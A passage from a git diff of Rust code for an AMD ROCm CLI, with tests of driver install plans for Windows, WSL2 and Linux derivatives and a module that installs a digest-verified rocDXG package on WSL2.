behind it is a report-only plan. + assert!( + rendered.contains(rocm_core::windows_driver::FLOOR_NOTE), + "{rendered}" + ); + assert!( + !rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), + "{rendered}" + ); + assert!(plan.commands.is_empty() && !plan.mutating); + } + + #[test] + fn windows_install_driver_says_unknown_when_the_date_is_unreadable() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let examine = windows_examine_with_driver("30.0.13014.8", ""); + let plan = build_driver_install_plan_at( + &examine, + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + assert!(rendered.contains("outdated: unknown"), "{rendered}"); + assert!( + !rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), + "{rendered}" + ); + } + + /// One probe result, read by both commands. The install text and the + /// diagnose result are built from the same `WindowsDriverInfo`, the value + /// `rocm examine` reads from the inventory, so a text that names the fix id + /// is checked against the command it names. Reverting the `reason` wiring in + /// `build_driver_install_plan` makes the install half fail. + fn install_text_and_diagnose_ids( + info: Option<&rocm_core::windows_driver::WindowsDriverInfo>, + ) -> (String, Vec) { + let mut examine = test_examine("windows", false); + examine.driver.windows = info.cloned(); + let plan = build_driver_install_plan_at( + &examine, + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + let text = render_driver_install_plan(&plan, false, false); + + let mut exam = rocm_core::Examination { + os_family: "windows".to_owned(), + ..rocm_core::Examination::default() + }; + exam.set_windows_driver(info); + let ids = rocm_core::run_diagnose(&exam, "") + .matched + .into_iter() + .map(|d| d.id) + .collect(); + (text, ids) + } + + #[test] + fn the_fix_id_the_install_text_names_is_the_one_diagnose_raises() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let id = rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID; + let probe = + |version, date| rocm_core::windows_driver::WindowsDriverInfo::from_probe(version, date); + + // Old driver: the text names the id, and the command it names raises it. + let (text, ids) = + install_text_and_diagnose_ids(probe("30.0.13014.8", "2021-08-04").as_ref()); + assert!(text.contains(id), "{text}"); + assert!(ids.iter().any(|raised| raised == id), "{ids:?}"); + + // Current driver and unreadable date: the text does not name it, and + // diagnose does not raise it. + for info in [ + probe("32.0.23033.1002", "2026-05-02"), + probe("30.0.13014.8", ""), + None, + ] { + let (text, ids) = install_text_and_diagnose_ids(info.as_ref()); + assert!(!text.contains(id), "{text}"); + assert!(ids.iter().all(|raised| raised != id), "{ids:?}"); + } + } + + #[test] + fn wsl_install_driver_installs_rocdxg_without_dkms() { + // `dkms: true` is passed deliberately: WSL2 has no kernel module to + // build, so the flag must not pull in the bare-metal path. + // + // The WSL branch reads the three ROCDXG vars — an exported + // `ROCM_CLI_ROCDXG_VERSION` would steer this plan into a refusal and + // fail the `plan.supported` assertion below. `ROCM_CLI_AMDGPU_DRIVER_VERSION` + // is never consulted on this path (the WSL dispatch happens before that + // var is read), but this reader still takes the combined guard so it + // isn't the one test that has to remember which half it needs. + let _env = scoped_rocdxg_env(); + let plan = build_driver_install_plan_read( + &test_examine("linux", true), + &os_release_found(""), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "wsl_rocdxg"); + assert!(!rendered.contains("amdgpu-dkms")); + // The whole point of the bug: the plan must be runnable, and must not + // send the user to a file that only exists in a git checkout. + assert!(!rendered.contains("execution_commands: ")); + assert!(!rendered.contains("scripts/")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn wsl_rocdxg_install_does_not_ask_for_a_reboot() { + // ROCDXG is userspace: `ldconfig` publishes it in this boot. The + // bare-metal DKMS path is the one that needs a reboot. + let _env = scoped_rocdxg_env(); + let wsl = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!wsl.reboot_required); + let rendered = render_driver_install_plan(&wsl, false, false); + // Anchor on the install step first: a refusal plan also reports + // `reboot_required: false`, renders `post_install_checks:` from its + // non-empty `checks`, and contains no `post_reboot` — so the three + // assertions below hold against a plan that installs nothing at all. + // Only a real install plan carries this command. + assert!( + rendered.contains("apt-get install -y '/tmp/"), + "expected a real install plan, got:\n{rendered}" + ); + assert!(rendered.contains("post_install_checks:")); + assert!(!rendered.contains("post_reboot")); + + let bare_metal = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), + true, + PrivilegeEscalation::Sudo, + ); + assert!(bare_metal.reboot_required); + assert!(render_driver_install_plan(&bare_metal, false, false).contains("post_reboot")); + } + + // EAI-7406: distro selection must honor `/etc/os-release` `ID_LIKE`, so that + // Debian/Ubuntu-family and RHEL-rebuild derivatives that share their base + // version scheme are matched to the correct apt (`ubuntu/`) or EL + // (`el/`) plan instead of falling through to the unsupported plan. + + #[test] + fn driver_plan_ubuntu_derivative_via_id_like_matches_ubuntu_plan() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Pop!_OS reports its own ID but reuses Ubuntu's version + repositories. + let os_release = r#" +ID=pop +VERSION_ID="22.04" +VERSION_CODENAME=jammy +ID_LIKE="ubuntu debian" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + // Ubuntu-family derivatives ship the Ubuntu kernel, so linux-modules-extra applies. + assert!(rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); + assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_debian_derivative_via_id_like_matches_debian_plan() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // A Debian derivative (e.g. LMDE) that shares Debian's version scheme. + let os_release = r#" +ID=lmde +VERSION_ID="12" +ID_LIKE=debian +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + // Debian-family maps to the Ubuntu jammy repo and omits linux-modules-extra. + assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); + assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_almalinux_via_id_like_uses_el_9_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AlmaLinux is a RHEL rebuild: standard kernel, served from the el/ path. + let os_release = r#" +ID=almalinux +VERSION_ID="9.6" +ID_LIKE="rhel centos fedora" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + // EL rebuilds use the vendor-neutral el/ repo path, not rhel/. + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.6/main/x86_64") + ); + assert!(!rendered.contains("/rhel/9.6/")); + // el9 uses the version-aware standard-kernel prepare commands. + assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_almalinux_8_via_id_like_uses_el_major_path() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=almalinux +VERSION_ID="8.10" +ID_LIKE="rhel centos fedora" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + // EL 8 is served from the major-version path (el/8), matching AMD docs. + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/8/main/x86_64") + ); + // el8 has no kernel-devel-matched package. + assert!(!rendered.contains("kernel-devel-matched")); + assert!(rendered.contains("kernel-devel-$(uname -r)")); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + } + + #[test] + fn driver_plan_id_like_with_unsupported_version_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // A Debian-family derivative whose VERSION_ID does not align with any + // AMD-documented Debian version must not fabricate a plan. + let os_release = r#" +ID=lmde +VERSION_ID="6" +ID_LIKE=debian +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_exact_id_takes_precedence_over_id_like() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // An exact RHEL match must keep the rhel/ path even though ID_LIKE=fedora. + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +ID_LIKE=fedora +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/rhel/9.7/main/x86_64") + ); + assert!(!rendered.contains("/el/9.7/")); + } + + #[test] + fn driver_plan_oracle_linux_off_arm_version_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Oracle Linux reports `ID_LIKE=fedora` (not rhel) and boots UEK. An OL + // version outside the exact `ol` arm must NOT be captured by the EL + // fallback, which would emit non-UEK kernel commands that cannot install. + let os_release = r#" +ID=ol +VERSION_ID="9.6" +ID_LIKE=fedora +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("kernel-devel-matched")); + assert!(!rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_opensuse_leap_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // openSUSE Leap shares SLES's version scheme but has no SUSEConnect/SCC + // entitlement, so it must not be matched to the SLES plan. + let os_release = r#" +ID=opensuse-leap +VERSION_ID="15.7" +ID_LIKE="suse opensuse" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("SUSEConnect")); + assert!(!rendered.contains("amdgpu-dkms")); + } +} diff --git a/apps/rocm/src/driver_plan/rocdxg.rs b/apps/rocm/src/driver_plan/rocdxg.rs new file mode 100644 index 0000000000..26c828b994 --- /dev/null +++ b/apps/rocm/src/driver_plan/rocdxg.rs @@ -0,0 +1,829 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! The WSL2 rocDXG driver plan: installing the digest-pinned `rocdxg-roct` +//! package that bridges the Windows host driver into the distro, and refusing to +//! build a plan when the package cannot be authenticated. +//! +//! Relocated from `driver_install.rs` with no behavior change. +//! `ROCDXG_PINNED_DIGESTS` is the trust anchor: the digests an unattended root +//! install is checked against. It moved byte for byte. +//! +//! A child of `driver_plan.rs`: it builds the plan with the model, the command +//! helper and the version-template resolver that stay in the parent, and the +//! parent re-exports `wsl_rocdxg_driver_plan` for the builders in +//! `driver_install.rs`. It also reads `truthy_env` from `therock.rs`. + +use super::{ + DriverCommandPhase, DriverInstallPlan, PrivilegeEscalation, driver_command, + driver_root_preflight_checks, resolve_shell_default_template, +}; + +/// Release of ROCDXG installed on WSL2, overridable for trying another build. +/// +/// Resolved once at plan-build time via [`resolve_shell_default_template`], the +/// same way `ROCM_CLI_AMDGPU_DRIVER_VERSION` is validated for the bare-metal +/// repository pin. The concrete value is baked into the archive name, the release URL and +/// the `repo_version:` line, so the plan a user reviews names the build the +/// install will actually fetch rather than an unexpanded `${...}` placeholder. +/// +/// How the default is chosen: the newest non-prerelease `librocdxg` release +/// whose `rocdxg-roct` digest is pinned in [`ROCDXG_PINNED_DIGESTS`]. Moving it +/// is two edits — add the `(version, digest)` row to that table, then change +/// the literal here — and the two must move together: a default with no row +/// makes [`resolve_rocdxg_verification`] refuse to build a plan at all unless +/// the caller supplies a digest, so a bump that forgets the table breaks every +/// default WSL install rather than falling back to the previous release. +/// +/// Deliberately out of scope: `rocdxg-amd-smi-lib__amd64.deb`, which +/// v1.2.1 and v1.2.2 ship alongside `rocdxg-roct` and the five releases before +/// them do not, is not installed here. It is a second prefix under +/// `/opt/rocm-wsl` carrying its own `amd-smi` and `libamd_smi.so`, and it +/// installs an `/etc/profile.d` entry that sources the package's own +/// `/opt/rocm-wsl/.env.sh`, which in turn prepends that prefix to `PATH` and +/// `LD_LIBRARY_PATH` for new login shells. That is a system-wide environment +/// change in service of a monitoring utility that neither `wsl_rocdxg_ready` +/// nor `rocm serve` depends on, and it is not available for every version in +/// the pinned table. Installing it is a separate decision that belongs behind +/// its own opt-in, not folded into the plan whose job is to supply the runtime +/// bridge. +const ROCDXG_VERSION_EXPR: &str = "${ROCM_CLI_ROCDXG_VERSION:-1.2.2}"; + +/// Supplies a SHA-256 digest for the ROCDXG package, overriding the pinned one. +/// Required when installing a version this build has no digest for. +const ROCDXG_SHA256_ENV: &str = "ROCM_CLI_ROCDXG_SHA256"; + +/// Opts out of digest verification entirely, when set to an affirmative value. +/// Named explicitly so that shipping an unverified root install is a deliberate +/// act with an audit trail in the plan, rather than what happens when a variable +/// is simply unset. +const ROCDXG_ALLOW_UNVERIFIED_ENV: &str = "ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED"; + +/// SHA-256 digests of the `rocdxg-roct` package shipped with each published +/// ROCDXG release, taken from the release host's own asset metadata. +/// +/// These exist so the default install is authenticated. The package is fetched +/// over plain HTTPS from a release page and then handed to `apt-get install`, +/// which runs its maintainer scripts as root — so without a digest, TLS to the +/// download host is the only thing standing between a compromised or swapped +/// artifact and root on the user's machine. That is materially weaker than the +/// bare-metal apt path in this same file, which installs from a repository +/// pinned with `signed-by=/etc/apt/keyrings/rocm.gpg`. +/// +/// A version absent from this table is not installed unless the caller supplies +/// a digest via `ROCM_CLI_ROCDXG_SHA256` or opts out via +/// `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`; see [`resolve_rocdxg_verification`]. +/// Add the new pair here when pinning a newer release. Nothing in the tree +/// checks a row against the published artifact, so a mistyped digest surfaces +/// only as a failed install on a WSL host — fail-closed, but confusing. Take +/// the value from the release's own asset metadata, or recompute it: +/// +/// ```text +/// curl -L --fail \ +/// https://github.com/ROCm/librocdxg/releases/download/v/rocdxg-roct__amd64.deb \ +/// | sha256sum +/// ``` +const ROCDXG_PINNED_DIGESTS: &[(&str, &str)] = &[ + ( + "1.0.0", + "5e78d300dfb8c10dfd57de24b312ff9f9962a3a971f571e5e9383e1c543b607a", + ), + ( + "1.1.0", + "d1f92415d218ca10df3c39f2ce48872ee968549a97191e987f2c2a79ab709f23", + ), + ( + "1.1.1", + "cd2ba9dbfd32bf35755a45e7e92410524f32baa2b4dcc31d0106876d04c3abcc", + ), + ( + "1.1.2", + "e426a5f58f4f177512a354ed5f0dd7b2c0a2b736f009e09bf806edf18ca6cb97", + ), + ( + "1.2.0", + "3ed9526719290cd8f590150dad8ea0f234fa779bea6a4c9a8449d7ae6b8cfb6e", + ), + ( + "1.2.1", + "7889eef45a1132ed2dde88d8ea1356bf791ec9c05802a18940bc81b970e850e0", + ), + ( + "1.2.2", + "28ded1254811192ebace1f76c0227580184af7b27ab2475fb9728295a702d541", + ), +]; + +/// Whether a resolved ROCDXG version is safe to place in the plan's commands. +/// +/// The driver plan is a list of shell lines run through `sh -c`, and the +/// version is interpolated into three of them — the archive name, the release +/// URL and the local path — each of which is then executed with `sudo` already +/// primed by an earlier `apt-get update`. `ROCM_CLI_ROCDXG_VERSION` reaches +/// this unchanged from the environment, so a value containing `;` or a +/// backtick would otherwise end the intended command and start an attacker's +/// own. Restricting it to characters that appear in a Debian package version +/// removes the possibility rather than trying to escape it. +fn rocdxg_version_is_well_formed(version: &str) -> bool { + !version.is_empty() + && version.starts_with(|c: char| c.is_ascii_alphanumeric()) + && version + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '+' | '-' | '~')) +} + +/// Whether a string is a bare lowercase 64-character hex SHA-256 digest, the +/// form `sha256sum -c -` expects. +fn sha256_digest_is_well_formed(digest: &str) -> bool { + digest.len() == 64 && digest.chars().all(|c| c.is_ascii_hexdigit()) +} + +/// How the downloaded ROCDXG package will be authenticated before it is +/// installed as root. +#[derive(Debug, Clone, Eq, PartialEq)] +enum RocdxgVerification { + /// Check the download against this digest and abort the install on a + /// mismatch. + Digest(String), + /// Install without checking, because the caller explicitly asked for it. + OptedOut, +} + +/// Decide how a ROCDXG download will be authenticated, or `Err` with the reason +/// no plan can be built. +/// +/// Resolution order — an explicit digest wins over the pinned one so a user can +/// install an artifact this build predates without having to disable +/// verification wholesale: +/// +/// 1. `ROCM_CLI_ROCDXG_SHA256`, when it is a well-formed digest. +/// 2. The digest pinned for this version in [`ROCDXG_PINNED_DIGESTS`]. +/// 3. `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`, when set to an affirmative value +/// — see [`crate::therock::truthy_env`] for the exact allowlist — which opts +/// out. `0` and `false` do not. +/// +/// Nothing left means refusal. Verification is therefore opt-*out*: the failure +/// mode of an unset variable is a plan that will not run, not a root install of +/// an unauthenticated package. +fn resolve_rocdxg_verification(version: &str) -> Result { + if let Some(supplied) = std::env::var(ROCDXG_SHA256_ENV) + .ok() + .map(|value| value.trim().to_ascii_lowercase()) + .filter(|value| !value.is_empty()) + { + if !sha256_digest_is_well_formed(&supplied) { + return Err(format!( + "{ROCDXG_SHA256_ENV} is not a 64-character hex SHA-256 digest; refusing to install ROCDXG without a usable digest." + )); + } + return Ok(RocdxgVerification::Digest(supplied)); + } + + if let Some(pinned) = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(pinned_version, digest)| (*pinned_version == version).then_some(*digest)) + { + return Ok(RocdxgVerification::Digest(pinned.to_owned())); + } + + // An allowlist of affirmative values, not "set to anything non-empty": + // otherwise `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED=0` — which every reader takes + // for "off" — would turn digest checking off for a package installed as + // root. Anything this does not recognise leaves verification on. + if crate::therock::truthy_env(ROCDXG_ALLOW_UNVERIFIED_ENV) { + return Ok(RocdxgVerification::OptedOut); + } + + Err(format!( + "no known SHA-256 digest for ROCDXG {version}, and this package is installed as root. Set {ROCDXG_SHA256_ENV} to the digest published with that release, or set {ROCDXG_ALLOW_UNVERIFIED_ENV}=1 to install without verifying it." + )) +} + +/// A WSL plan that cannot be run, carrying the reason in the same shape every +/// other unsupported plan uses so `--dry-run`, the approval prompt and +/// `state.json` all report it identically. +fn wsl_rocdxg_refusal_plan(repo_version: String, reason: String) -> DriverInstallPlan { + DriverInstallPlan { + supported: false, + mutating: false, + policy: "wsl_rocdxg".to_owned(), + os_id: "wsl".to_owned(), + version_id: String::new(), + codename: String::new(), + repo_version_expr: repo_version, + reason, + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], + reboot_required: false, + } +} + +/// The `rocm install driver` plan for a WSL2 host. +/// +/// WSL2 has no in-tree amdgpu driver to install: the GPU comes from the Windows +/// host driver through `/dev/dxg`, and what ROCm needs on the Linux side is +/// ROCDXG (`librocdxg`), which bridges the runtime to it. Without that library +/// `rocm examine` reports `wsl_rocdxg_missing` and `rocm serve` refuses with +/// "no usable AMD GPU detected", even though a gfx target is detected — the +/// target is read from the Windows-side driver. +/// +/// This used to be a refusal pointing at a shell script under `scripts/`, which +/// ships only in a git checkout — never in the release bundle — so it was a dead +/// end for anyone who installed the CLI normally. These are that script's steps; +/// it has been removed rather than left as a second, untested copy of them. +pub(crate) fn wsl_rocdxg_driver_plan(escalation: PrivilegeEscalation) -> DriverInstallPlan { + let version = resolve_shell_default_template(ROCDXG_VERSION_EXPR); + if !rocdxg_version_is_well_formed(&version) { + return wsl_rocdxg_refusal_plan( + // The rejected value is still rendered into the plan's + // `repo_version:` line so the user can see what was refused — but + // that line is part of a plan a human reads to decide, and a raw + // value containing a newline could forge further lines in it. The + // debug form escapes newlines and makes trailing space visible, + // which is exactly what is wanted for a value being shown as + // rejected. + format!("{version:?}"), + "ROCM_CLI_ROCDXG_VERSION is not a well-formed package version. It is interpolated into privileged shell commands, so only letters, digits, and `. + - ~` are accepted.".to_owned(), + ); + } + let verification = match resolve_rocdxg_verification(&version) { + Ok(verification) => verification, + Err(reason) => return wsl_rocdxg_refusal_plan(version, reason), + }; + + let sudo = escalation.prefix(); + let deb = format!("rocdxg-roct_{version}_amd64.deb"); + let url = format!("https://github.com/ROCm/librocdxg/releases/download/v{version}/{deb}"); + let deb_path = format!("/tmp/{deb}"); + // `version` is validated above and the digest is hex, so neither can carry + // shell metacharacters; the quotes keep that guarantee local to the command + // rather than resting on a check several functions away. + let verify_download = match &verification { + RocdxgVerification::Digest(digest) => driver_command( + DriverCommandPhase::Execute, + &format!("printf '%s %s\\n' '{digest}' '{deb_path}' | sha256sum -c -"), + ), + RocdxgVerification::OptedOut => driver_command( + DriverCommandPhase::Execute, + &format!( + "echo 'warning: installing ROCDXG {version} without verifying it ({ROCDXG_ALLOW_UNVERIFIED_ENV} is set)' >&2" + ), + ), + }; + DriverInstallPlan { + supported: true, + mutating: true, + policy: "wsl_rocdxg".to_owned(), + os_id: "wsl".to_owned(), + version_id: String::new(), + codename: String::new(), + repo_version_expr: version, + reason: + "WSL2 uses the Windows host driver plus ROCDXG, not Linux DKMS; this installs ROCDXG." + .to_owned(), + // Read, not run: the GPU plumbing belongs to the WSL platform, so if it + // is absent the fix is on the Windows side and no Linux package helps. + // The Execute phase fails on the same two paths rather than installing + // a library with nothing to bind to. + preflight_checks: { + let mut checks = vec![ + "/dev/dxg (WSL GPU device)".to_owned(), + "/usr/lib/wsl/lib/libdxcore.so (WSL dxcore runtime)".to_owned(), + ]; + checks.extend(driver_root_preflight_checks(escalation)); + checks + }, + commands: vec![ + driver_command( + DriverCommandPhase::Prepare, + "test -e /dev/dxg || { echo 'error: /dev/dxg is missing; WSL GPU plumbing is not available' >&2; exit 1; }", + ), + driver_command( + DriverCommandPhase::Prepare, + "test -e /usr/lib/wsl/lib/libdxcore.so || { echo 'error: /usr/lib/wsl/lib/libdxcore.so is missing' >&2; exit 1; }", + ), + // Say why up front rather than letting the first privileged step die + // with `sudo: command not found`, which reads like a broken plan. + // Skipped when already root: the plan emits no `sudo` at all then, + // so demanding the binary would state a precondition it is not + // relying on. + driver_command( + DriverCommandPhase::Prepare, + if escalation.needs_sudo_binary() { + "command -v sudo >/dev/null 2>&1 || { echo 'error: sudo is required to install ROCDXG under /opt/rocm' >&2; exit 1; }" + } else { + "test \"$(id -u)\" -eq 0 || { echo 'error: this plan was built to run as root' >&2; exit 1; }" + }, + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get update"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get install -y ca-certificates curl"), + ), + driver_command( + DriverCommandPhase::Execute, + &format!("curl -L --fail --show-error --output '{deb_path}' '{url}'"), + ), + // Authenticating the download is the whole trust anchor for this + // plan: everything after it runs the package's maintainer scripts + // as root. `sha256sum -c -` exits non-zero on a mismatch, which + // aborts the plan before the install step. + verify_download, + driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}apt-get install -y '{deb_path}'"), + ), + driver_command(DriverCommandPhase::Execute, &format!("{sudo}ldconfig")), + driver_command( + DriverCommandPhase::Verify, + "test -e /opt/rocm/lib/librocdxg.so", + ), + driver_command( + DriverCommandPhase::Verify, + "ldconfig -p | grep -q 'librocdxg\\.so'", + ), + ], + // `rocm diagnose` carries the WSL catalog, including the host-side + // form that inspects a distro over `wsl.exe` without needing anything + // installed inside it. + checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], + // Userspace only: `ldconfig` publishes the library in this boot. + reboot_required: false, + } +} + +#[cfg(test)] +use crate::tests::ScopedTestEnv; + +#[cfg(test)] +/// Clear every input that steers the ROCDXG plan, so a value exported in +/// the developer's or runner's shell cannot decide the outcome of a test +/// that is asserting on the default. +/// +/// Builds on [`ScopedTestEnv::with_amd_overrides_cleared`] rather than +/// `new` so a caller that also exercises the bare-metal AMDGPU override +/// through the same `build_driver_install_plan_at` call doesn't need a +/// second guard: one helper covers both input sets regardless of which +/// branch actually reads them. +pub(super) fn scoped_rocdxg_env() -> ScopedTestEnv { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.clear("ROCM_CLI_ROCDXG_VERSION"); + env.clear(ROCDXG_SHA256_ENV); + env.clear(ROCDXG_ALLOW_UNVERIFIED_ENV); + env +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::driver_plan::render_driver_install_plan; + #[cfg(unix)] + use crate::tests::test_paths; + #[cfg(unix)] + use std::fs; + #[cfg(unix)] + use std::path::Path; + + #[test] + fn wsl_rocdxg_plan_installs_the_library_and_publishes_it() { + // Asserts on the default plan, so it has to take the same guard as the + // mutating tests in this binary: a concurrent test exporting + // `ROCM_CLI_ROCDXG_VERSION` would otherwise steer this one's plan. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let commands = plan.execution_commands().join("\n"); + + // Fetches the release artifact, installs it, and makes the linker see + // it. Any one of these missing leaves `wsl_rocdxg_ready` unreachable. + assert!(commands.contains("https://github.com/ROCm/librocdxg/releases/download/")); + assert!(commands.contains("rocdxg-roct_")); + assert!(commands.contains("sudo apt-get install -y '/tmp/rocdxg-roct_")); + assert!(commands.contains("sudo ldconfig")); + + // And in that order. `ldconfig` refreshes the cache from what is on + // disk now, so running it before `apt-get install` has unpacked + // `librocdxg.so` scans a directory that does not contain it yet and + // publishes nothing — leaving the plan reporting success while the + // `ldconfig -p` verification below is the only thing that would notice. + // Both steps are still present under that swap, so every `contains` + // assertion in this file stays green; only a position comparison + // catches it. + let steps = plan.execution_commands(); + let install = steps + .iter() + .position(|c| c.contains("apt-get install -y '/tmp/")) + .expect("plan installs the package"); + let publish = steps + .iter() + .position(|c| c.trim_end().ends_with("ldconfig")) + .expect("plan publishes the library"); + assert!( + install < publish, + "ldconfig must run after the package is installed:\n{}", + steps.join("\n") + ); + + // Verification asserts the two things `examine` keys `wsl_rocdxg_ready` + // on, so a silently partial install cannot report success. + let verify = plan + .commands + .iter() + .filter(|c| c.phase == DriverCommandPhase::Verify) + .map(|c| c.command.clone()) + .collect::>() + .join("\n"); + assert!(verify.contains("/opt/rocm/lib/librocdxg.so")); + assert!(verify.contains("ldconfig -p")); + } + + #[test] + fn wsl_rocdxg_plan_guards_the_gpu_plumbing_before_any_mutating_command() { + // /dev/dxg and dxcore come from the Windows side. If they are missing, + // installing the bridge library accomplishes nothing, so the plan must + // stop rather than report a successful install of something inert. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let prepare = plan + .commands + .iter() + .filter(|c| c.phase == DriverCommandPhase::Prepare) + .map(|c| c.command.clone()) + .collect::>(); + let joined = prepare.join("\n"); + assert!(joined.contains("/dev/dxg")); + assert!(joined.contains("/usr/lib/wsl/lib/libdxcore.so")); + // Named explicitly, rather than surfacing as `sudo: command not found` + // from whichever privileged step happened to run first. + assert!(joined.contains("command -v sudo")); + // Both guards run before anything is fetched or installed. + let first_mutation = plan + .execution_commands() + .iter() + .position(|c| c.contains("apt-get") || c.contains("curl")) + .expect("plan installs something"); + let last_guard = plan + .execution_commands() + .iter() + .rposition(|c| c.contains("is missing")) + .expect("plan guards the plumbing"); + assert!( + last_guard < first_mutation, + "plumbing guards must precede the first mutating command" + ); + } + + #[test] + fn wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default() { + // The package is installed with `apt-get install`, which runs its + // maintainer scripts as root. With no digest, TLS to the release host + // is the only thing authenticating that download — weaker than the + // bare-metal path in this same file, which installs from a + // `signed-by=` pinned repository. So the default plan must verify. + let _env = scoped_rocdxg_env(); + let commands = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo).execution_commands(); + let joined = commands.join("\n"); + + let pinned = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(version, digest)| (*version == "1.2.2").then_some(*digest)) + .expect("the default version is pinned"); + assert!(joined.contains(pinned), "{joined}"); + assert!(joined.contains("sha256sum -c -"), "{joined}"); + + // Not a conditional: an unset variable must not be able to turn + // verification off, which is what the previous `if [ -n ... ]` form + // did. + assert!( + !joined.contains("skipping checksum verification"), + "{joined}" + ); + assert!(!joined.contains(ROCDXG_SHA256_ENV), "{joined}"); + + // Ordering is the whole point — a digest checked after the install has + // already run is decoration. + let check = commands + .iter() + .position(|c| c.contains("sha256sum -c 